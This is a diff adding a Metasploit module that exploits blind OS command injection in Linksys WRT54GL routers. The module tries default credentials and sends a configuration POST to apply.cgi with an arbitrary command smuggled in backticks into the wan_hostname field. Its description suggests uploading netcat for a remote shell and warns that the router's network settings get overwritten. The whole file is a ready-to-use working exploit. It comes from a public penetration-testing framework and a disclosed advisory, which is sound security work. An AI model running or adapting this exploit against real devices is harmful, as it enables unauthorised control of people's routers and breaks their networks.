|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Linksys WRT54GL Remote Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + Some Linksys Routers are vulnerable to OS Command injection. |
| 19 | + You will need credentials to the webinterface to access the vulnerable part |
| 20 | + of the application. |
| 21 | + Default credentials are always a good starting point. admin/admin or admin |
| 22 | + and blank password could be a first try. |
| 23 | + Note: This is a blind os command injection vulnerability. This means that |
| 24 | + you will not see any output of your command. Try a ping command to your |
| 25 | + local system for a first test. |
| 26 | + |
| 27 | + Hint: To get a remote shell you could upload a netcat binary and exec it. |
| 28 | + WARNING: Backup your network and dhcp configuration. We will overwrite it! |
| 29 | + Have phun |
| 30 | + }, |
| 31 | + 'Author' => [ 'm-1-k-3' ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ], |
| 36 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], |
| 37 | + [ 'EDB', '24202' ], |
| 38 | + [ 'BID', '57459' ], |
| 39 | + ], |
| 40 | + 'DefaultTarget' => 0, |
| 41 | + 'DisclosureDate' => 'Jan 18 2013')) |
| 42 | + |
| 43 | + register_options( |
| 44 | + [ |
| 45 | + Opt::RPORT(80), |
| 46 | + OptString.new('VULNPATH',[ true, 'PATH to OS Command Injection', '/apply.cgi']), |
| 47 | + OptString.new('USER',[ true, 'User to login with', 'admin']), |
| 48 | + OptString.new('PASS',[ true, 'Password to login with', 'password']), |
| 49 | + OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), |
| 50 | + OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), |
| 51 | + OptString.new('LANIP', [ false, 'LAN IP address of the router', '<RHOST>']), |
| 52 | + OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), |
| 53 | + OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), |
| 54 | + OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']), |
| 55 | + ], self.class) |
| 56 | + end |
| 57 | + |
| 58 | + def run |
| 59 | + #setting up the needed variables |
| 60 | + uri = datastore['VULNPATH'] |
| 61 | + user = datastore['USER'] |
| 62 | + rhost = datastore['RHOST'] |
| 63 | + netmask = datastore['NETMASK'] |
| 64 | + routername = datastore['ROUTER_NAME'] |
| 65 | + wandomain = datastore['WAN_DOMAIN'] |
| 66 | + wanmtu = datastore['WAN_MTU'] |
| 67 | + |
| 68 | + # using the RHOST for the correct lan IP settings |
| 69 | + # WARNING: Attacks via the WAN IP are breaking the LAN configuration of the device! |
| 70 | + if datastore['LANIP'] =~ /<RHOST>/ |
| 71 | + ip = datastore['LANIP'].split('.') |
| 72 | + else |
| 73 | + ip = rhost.split('.') |
| 74 | + end |
| 75 | + |
| 76 | + # not sure if this is a good way for blank passwords: |
| 77 | + if datastore['PASS'] == "<BLANK>" |
| 78 | + pass = "" |
| 79 | + else |
| 80 | + pass = datastore['PASS'] |
| 81 | + end |
| 82 | + |
| 83 | + print_status("Trying to login with #{user} / #{pass}") |
| 84 | + |
| 85 | + user_pass = Rex::Text.encode_base64(user + ":" + pass) |
| 86 | + |
| 87 | + begin |
| 88 | + res = send_request_cgi({ |
| 89 | + 'uri' => uri, |
| 90 | + 'method' => 'GET', |
| 91 | + 'headers' => |
| 92 | + { |
| 93 | + 'Authorization' => "Basic #{user_pass}", |
| 94 | + } |
| 95 | + }, 25) |
| 96 | + |
| 97 | + unless (res.kind_of? Rex::Proto::Http::Response) |
| 98 | + vprint_error("#{target_url} not responding") |
| 99 | + end |
| 100 | + |
| 101 | + return :abort if (res.code == 404) |
| 102 | + |
| 103 | + if [200, 301, 302].include?(res.code) |
| 104 | + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") |
| 105 | + else |
| 106 | + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") |
| 107 | + return :abort |
| 108 | + end |
| 109 | + |
| 110 | + rescue ::Rex::ConnectionError |
| 111 | + vprint_error("#{target_url} - Failed to connect to the web server") |
| 112 | + return :abort |
| 113 | + end |
| 114 | + |
| 115 | + print_status("Sending remote command: " + datastore['CMD']) |
| 116 | + |
| 117 | + cmd = Rex::Text.uri_encode(datastore['CMD']) |
| 118 | + #cmd = datastore['CMD'] |
| 119 | + |
| 120 | + data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" |
| 121 | + |
| 122 | + if datastore['VERBOSE'] == true |
| 123 | + print_line("using the following target URL: \n#{uri}") |
| 124 | + end |
| 125 | + |
| 126 | + begin |
| 127 | + res = send_request_cgi( |
| 128 | + { |
| 129 | + 'uri' => uri, |
| 130 | + 'method' => 'POST', |
| 131 | + 'headers' => |
| 132 | + { |
| 133 | + 'Authorization' => "Basic #{user_pass}", |
| 134 | + }, |
| 135 | + 'data' => data_cmd, |
| 136 | + }, 20) |
| 137 | + rescue ::Rex::ConnectionError |
| 138 | + vprint_error("#{target_url} - Failed to connect to the web server") |
| 139 | + return :abort |
| 140 | + end |
| 141 | + print_status("Blind Exploitation - wait 5 seconds until the configuration gets applied\n") |
| 142 | + print_status("Blind Exploitation - unknown Exploitation state\n") |
| 143 | + end |
| 144 | +end |
0 commit comments